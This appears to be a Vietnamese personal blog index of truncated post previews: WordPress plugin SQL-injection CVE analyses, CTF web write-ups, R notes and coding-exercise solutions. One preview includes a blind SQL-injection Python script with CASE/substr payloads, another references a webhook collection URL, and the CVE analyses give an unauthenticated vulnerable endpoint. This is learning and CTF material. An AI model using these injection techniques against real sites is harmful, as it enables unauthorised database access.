Bài đăng

CVE-2024-27956

Hình ảnh

Phân tích CVE-2023-23488

Hình ảnh
 Phân tích CVE-2023-23488 Mỗt lỗ hổng SQL Injection không xác thực ảnh hưởng đến tất cả phiên bản <2.9.8 của plugin Paid Memberships Pro của Wordpress. Tham khảo Mình cài bản 2.9.6 Trong bài viết, lỗ hổng được đề cập nằm ở tham số code tại REST route.  Tại file rest-api.php ta thấy nó có gọi đến hàm pmpro_rest_api_permissions_get_order() Để truy cập vô thì ta sẽ truy cập đường dẫn sau  http://localhost/wordpress/wp-json/pmpro/v1/order Nhảy đến hàm  pmpro_rest_api_permissions_get_order() Thấy rằng nếu method là GET, route là /pmpro/v1/order và không có permission thì đoạn if sẽ được thực thi Chú ý vào vào biến $code, có thể điều khiển được giá trị đầu vào. Input chưa được sanitize được đưa thẳng vô class MemberOrder.  Nhảy đến class này để kiểm tra, thấy được đưa vô đối số $id Đoạn if kiểm tra nếu $id là số thì gọi đến hàm getMemberOrderByID, còn không thì gọi đến getMemberOrderByCode. Trong trường hợp này chúng ta sẽ truyền giá trị không phải là số, hãy xem hàm getMemberOrderByCode(

R

 R programing language and me Hello bài này mình sẽ note lại kiến thức của mình liên quan đến ngôn ngữ R do môn mình học có liên quan đến nó :v What's R?? - R là một ngôn  mạnh mẽ thường được dùng để tính toán và đồ họa thống kê.  How to use R in statistic math - Đầu tiên phải năm các syntax cơ bản R sẽ phân biệt chữ hoa với chữ thường nên User sẽ khác user +) c(): hàm này dùng để nhập input từ người dùng, mỗi data phân cách nhau bởi dấu phẩy.  +)  x =3: gán giá trị 3 cho x +) so sánh x==3, x<3 (x>3), x<=3 (x>=3) +) is.na(x): check x no n.a hay không  A&B: A và B A|B: A hoặc B !: không +) x-<rnorm(10): tạo 10 phân phối chuẩn tắc ngẫu nhiên N(0,1) +) Các phép tính ngẫu nhiên +,-,*,/,^ seq(): tạo 1 ngẫu nhiên seq(5,10,2): tạo từ 5 đến 10 cách nhau 2 đơn vị. Tăng dần seq(length=10,from=2,to=9): chạy từ 2 đến chia, chia thành 10 khoảng ----------- Tạo 2 đối tượng  insulin <- c(16.5,10.8,32.3,19.3,14.2,11.3,15.5,15.8,16.2,11.2) age <- c(50,62,60,40,48,47,57,70,4

Leetcode

 Try hard Java on hackerrank Day1: Wellcome 2 java public class Solution {     public static void main ( String [] args ){         System . out . println ( "Hello, World." );         System . out . println ( "Hello, Java." );     } } Day2: java stdin and stdout import java.util.Scanner ; public class Solution {     public static void main ( String [] args ){         Scanner input = new Scanner ( System . in );         int number1 = input . nextInt ();         int number2 = input . nextInt ();         int number3 = input . nextInt ();         System . out . println (number1);         System . out . println (number2);         System . out . println (number3);     } } Day3: java if else import java.util.Scanner ; public class Solution {     public static void main ( String [] args ){         Scanner input = new Scanner ( System . in );         int n = input . nextInt ();         if (n % 2 != 0 ){             System . out . println (
Hình ảnh
 WolvCTF and i did my best. Hello guys, our team got rank 48th when i decide to write this writeup. I had just solved 2 web. Have no time for Other up 2,3,4 challenges btw i will do it later. Web1: Bean Cafe We need upload 2 difference images but same the md5 hash I found this drive which contain 2  image :d thx someone whose i dont know the name lmao https://drive.google.com/drive/folders/1eCcMtQkHTreAJT6JmwxG10x1HbT6prY0 Uploaded it Web2: Order Up 1  This is my script. Yeah that's all import requests import json import string a = string.printable s = "" url = "https://dyn-svc-order-up-xec3il0vccu5tn6p0q2n-okntin33tq-ul.a.run.app/query" for i in range ( 1 , 100 ):     for j in a:         data = {             "col1" : "item_name" ,             "order" : f " (case when (ascii(substr(current_query(), { i } ,1))= { ord (j) } ) then item_name else category end)"             #(case when (ascii(substr(current_database

CVE-2023-6063

Hình ảnh
 Phân tích WP Fastest Cache 1.2.0 - Unauthenticated SQL Injection Hello mọi người, dạo này ham hố kiếm CVE quá (tại tui nghèo mà) nên quyết định nghiên cứu CVE này để lấy lợi thế. Sẵn tiện em đang có mong muốn inter parttime mảng pentest, anh chị hr nào cần tuyển thì cứ comment hoặc ib qua facebook ạ T_T. Mình viết còn nhiều sai sót, mong được mọi người chỉ bảo để có thể cải thiện kĩ năng Yêu cầu:  +) Wordpress(bản nào cũng được) +) Fastest Cache version dưới 1.2.2, ở đây thì mình lựa chọn cài bản 1.2.0 chưa vá lỗi. +) Mysql(đang chạy bản nào cũng được) Các bước chuẩn bị: Add plugin vừa tải vào đây và đợi cài Enable cache system Vậy chúng ta đã xong bước chuẩn bị. Tiến hành phân tích code và đặt breakpoint Dưới là đoạn code dính lỗi tại file cache.php Mọi người có thể đọc lại bài của mình để hiểu về regex , mình kém nó lắm nên đôi lúc phải đọc lại cho nhớ :))))  Từ dòng 478-480, ta thấy nó lấy $cookie_key và $cookie_value từ global variable cụ thể ở đây là $_COOKIE, lấy thông qua fore
 LeetCode, It's coding time LeetCode day1: Long common prefix. Level easy Python solution class Solution :     def longestCommonPrefix ( self , strs : List[ str ]) -> str :         if not str :             return ""         strs.sort()         first_list = strs[ 0 ]         last_list = strs[- 1 ]         long_common_prefix = ""         for i in range ( len (first_list)):             if first_list[i] == last_list[i]:                 long_common_prefix+=first_list[i]             else :                 return long_common_prefix         return long_common_prefix Javascript solution /**  * @param {string[]} strs  * @return {string}  */ var longestCommonPrefix = function ( strs ) {     if (! strs || strs . length == 0 ){         return ""     }     strs . sort ()     first_list = strs [ 0 ]     last_list = strs [ strs . length - 1 ]     long_common_prefix = ""     for ( let i = 0 ; i < first_list . length ; i ++){      
Hình ảnh
*Some Key Abbreviations in Cyber Security* *CIA* - Confidentiality, Integrity, Availability *IDS* - Intrusion Detection System *IPS* - Intrusion Prevention System *WAF* - Web Application Firewall *PII* - Personal Identifiable Information *DoS* - Denial of Service *DDoS* - Distributed Denial of Service *DNS* - Domain Name System *ZTA* - Zero Trust Architecture *NAT* - Network Address Translation *CTF* - Capture the Flag *ACL* - Access Control List *CDN* - Content Delivery Network *CVE* - Common Vulnerabilities and Exposures *RAT* - Remote Access Trojan *APT* - Advanced Persistent Threat *ATP* - Advanced Threat Protection *SSO* - Single Sign-on *URL* - Uniform Resource Locator *TLS* - Transport Layer Security *ARP* - Address Resolution Protocol *RDP* - Remote Desktop Protocol *FTP* - File Transfer Protocol *SFTP* - Secure File Transfer Protocol *HTTP* - Hypertext Transfer Protocol *HTTPS* - Hypertext Transfer Protocol Secure *LDAP* - Lightweight Directory Access Protocol *MFA* - Multi-f
Hình ảnh
KnightCTF và những cú lừa. Hế lô ae, hôm nay bọn mình vừa chơi KnightCTF. Do lâu r mình không chơi cho team nên là nay ghi writeup sẵn tiện mở bát cho năm mới luôn. Bọn mình hạng 10th, không cao lắm. Chủ yếu là do mình không clear được web :( Mình sẽ cố gắng hơn vào đợt TetCTF sắp tới. Web1: Levi Ackerman Bài này thì khá dễ, chỉ cần vô robots.txt là lụm được Flag: KCTF{1m_d01n6_17_b3c4u53_1_h4v3_70} Web2: Kitty Bài này chỉ là Sqli đơn giản thôi ^-^ Sau khi login thành công thì mình được vô trang như này Check source thì thấy như này  Thế chỉ cần tạo 1 post bắt đầu bằng cat flag là xong Flag:KCTF{Fram3S_n3vE9_L1e_4_toGEtH3R} Web3: Gain access 1 Ukm, bài này chỉ là sqli cơ bản thôi, không khó lắm :v https://webhook.site/#!/view/0ce-43d4-34366e
Hình ảnh
 0xl4ughCTF và mình đã quá chủ quan. Mình cứ nghĩ giải này nó kiểu dễ dễ nhưng nó bruh thật đấy :V Member team mình nghỉ Tết hết roài nên chơi một mình thoai :< Web1:  Micro Bài này mình được cho source, xem qua cấu trúc thư mục trước đã index.php <?php error_reporting ( 0 ); function Check_Admin ( $input ) {     $input = iconv ( 'UTF-8' , 'US-ASCII//TRANSLIT' , $input );   // Just to Normalize the string to UTF-8     if ( preg_match ( "/admin/i" , $input ))     {         return true ;     }     else     {         return false ;     } } function send_to_api ( $data ) {     $api_url = 'http://127.0.0.1:5000/login' ;     $options = [         'http' => [             'method' => 'POST' ,             'header' => 'Content-Type: application/x-www-form-urlencoded' ,             'content' => $data ,         ],     ];     var_dump ( $options );     $context = stream_context_create ( $op